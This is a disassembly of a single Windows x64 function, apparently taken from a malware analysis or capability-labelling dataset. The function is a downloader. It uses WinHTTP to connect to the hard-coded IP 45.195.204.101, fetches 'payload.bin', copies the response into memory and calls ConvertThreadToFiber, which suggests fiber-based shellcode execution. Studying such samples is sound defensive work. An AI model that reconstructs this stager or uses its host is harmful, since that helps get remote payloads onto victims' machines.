Function at 0x1400011c0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xf8
mov qword [rbp - 0x39], 0xfffffffffffffffe
mov r12, rcx
xor esi, esi
mov r15d, esi
xor r13d, r13d
mov qword [rsp + 0x40], rsi
lea ecx, [rsi + 0x10]
call fcn.140004440
test rax, rax
je 0x14000196c
mov qword [rsp + 0x40], rax
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x40]
mov qword [rax], rcx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov dword [rbp + 0x77], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp - 0x61], rax
test rax, rax
jne 0x14000132b
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400012b5
cmp qword [rsp + 0x40], rax
je 0x1400012b0
lea edx, [rsi + 3]
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r13
je 0x14000129e
nop
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001280
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x48]
call fcn.140002b60
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001320
mov edx, 3
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x14000130e
nop dword [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x1400012f0
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x40]
call fcn.140002b60
nop
jmp 0x140001999
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.45.195.204.101
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp - 0x69], rax
test rax, rax
jne 0x14000142b
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400013b5
cmp qword [rsp + 0x40], rax
je 0x1400013b0
lea edx, [rax + 3]
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x14000139e
nop word [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001380
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x48]
call fcn.140002b60
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001420
mov edx, 3
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x14000140e
nop dword [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x1400013f0
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x40]
call fcn.140002b60
nop
jmp 0x140001999
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x140029900]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x14000153b
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400014c5
cmp qword [rsp + 0x40], rax
je 0x1400014c0
lea edx, [rax + 3]
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], r14
je 0x1400014ae
nop word [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001490
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x48]
call fcn.140002b60
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001530
mov edx, 3
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x14000151e
nop dword [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001500
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x40]
call fcn.140002b60
nop
jmp 0x140001999
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x14000163b
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400015c5
cmp qword [rsp + 0x40], 0
je 0x1400015c0
lea edx, [rax + 3]
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x1400015ae
nop dword [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001590
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x48]
call fcn.140002b60
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001630
mov edx, 3
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x14000161e
nop dword [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rsi
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001600
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rsi
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x40]
call fcn.140002b60
nop
jmp 0x140001999
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
test ebx, ebx
je 0x140001792
mov dword [rbp + 0x6f], esi
lea rdx, [rbp + 0x6f]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rbp + 0x6f]
test r11d, r11d
je 0x140001792
mov ecx, r11d
call fcn.1400025f0
mov rsi, rax
mov r8d, dword [rbp + 0x6f]
xor edx, edx
mov rcx, rax
call fcn.14000ce00
lea r9, [rbp + 0x77]
mov r8d, dword [rbp + 0x6f]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000176b
lea rdx, [rbp - 0x59]
lea rcx, [rsp + 0x40]
call fcn.140001b80
nop
mov rdx, rax
lea rcx, [rbp - 0x19]
call fcn.1400019c0
mov rdi, rax
mov qword [rbp - 0x41], rax
mov ebx, dword [rbp + 0x77]
add rbx, rsi
mov rdx, rax
lea rcx, [rbp - 1]
call fcn.1400019c0
mov r9, rbx
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001d30
nop
mov rcx, rdi
call fcn.140001050
nop
mov edx, 3
lea rcx, [rbp + 0x7f]
call fcn.140002520
nop
mov rbx, qword [rbp - 0x59]
test rbx, rbx
je 0x140001762
add rbx, 8
cmp qword [rbx], 0
je 0x14000173c
nop dword [rax]
mov rax, qword [rbx]
lea rcx, [rbp - 0x59]
cmp rax, rcx
je 0x140001736
lea rbx, [rax + 8]
cmp qword [rbx], 0
jne 0x140001720
cmp qword [rbx], 0
jne 0x140001755
mov r8d, 0xb5
lea rdx, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCincludexutility
lea rcx, str.ITERATOR_LIST_CORRUPTED_
call fcn.1400025b0
mov rax, qword [rbp - 0x51]
mov qword [rbx], rax
xor edx, edx
mov qword [rbp - 0x59], rdx
lea rcx, [rbp + 0x7f]
call fcn.140002570
mov rcx, rsi
call fcn.140002c20
xor esi, esi
mov dword [rbp + 0x6f], esi
lea rdx, [rbp + 0x6f]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rbp + 0x6f]
test r11d, r11d
jne 0x140001675
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
cmp rdi, rbx
je 0x14000186f
sub rbx, rdi
mov rcx, rbx
mov qword [rbp + 0x6f], rbx
call fcn.140003050
mov r15, rax
mov r13d, esi
test rbx, rbx
je 0x14000186b
lea r12, str._Standard_C_Libraries_Out_of_Range___0
nop word [rax + rax]
cmp rbx, rsi
ja 0x140001840
mov r8d, 0x3a4
lea rdx, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_vector
lea rcx, str.vector_subscript_out_of_range
call fcn.1400025b0
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0x3a5
lea rdx, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_vector
lea ecx, [r9 + 2]
call fcn.140003410
cmp eax, 1
jne 0x140001812
int3
mov qword [rsp + 0x20], 0
mov r9d, 0x3a5
lea r8, str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_vector
lea rdx, str.std::vector_unsigned_char_class_std::allocator_unsigned_char___::operator___
lea rcx, str._out_of_range_
call fcn.140003ba0
mov rdi, qword [rsp + 0x48]
movzx eax, byte [rsi + rdi]
mov byte [rsi + r15], al
inc r13d
inc rsi
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
sub rbx, rdi
movsxd rax, r13d
cmp rax, rbx
jb 0x1400017d0
mov r12, qword [rbp + 0x67]
mov r13, qword [rbp + 0x6f]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400018f8
cmp qword [rsp + 0x40], 0
je 0x1400018f3
mov edx, 3
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], 0
je 0x1400018dd
xor edx, edx
nop dword [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rdx
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, rdx
jne 0x1400018c0
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], 0
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x48]
call fcn.140002b60
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001960
lea edx, [rbx + 3]
lea rcx, [rbp + 0x67]
call fcn.140002520
mov r11, qword [rsp + 0x40]
cmp qword [r11 + 8], rbx
je 0x14000194e
nop word [rax + rax]
mov rax, qword [r11 + 8]
mov qword [rax], rbx
mov rax, qword [r11 + 8]
mov rcx, qword [rax + 8]
mov qword [r11 + 8], rcx
cmp rcx, 0
jne 0x140001930
mov r11, qword [rsp + 0x40]
mov qword [r11 + 8], rbx
lea rcx, [rbp + 0x67]
call fcn.140002570
mov rcx, qword [rsp + 0x40]
call fcn.140002b60
nop
mov qword [r12], r15
jmp 0x14000199d
mov qword [rbp - 0x71], rsi
lea rdx, [rbp - 0x71]
lea rcx, [rbp - 0x31]
call fcn.1400028f0
lea r11, vtable.std::bad_alloc.0
mov qword [rbp - 0x31], r11
lea rdx, [0x14002b100]
lea rcx, [rbp - 0x31]
call fcn.1400049f0
nop
mov qword [r12], rsi
mov rax, r12
mov qword [r12 + 8], r13
add rsp, 0xf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret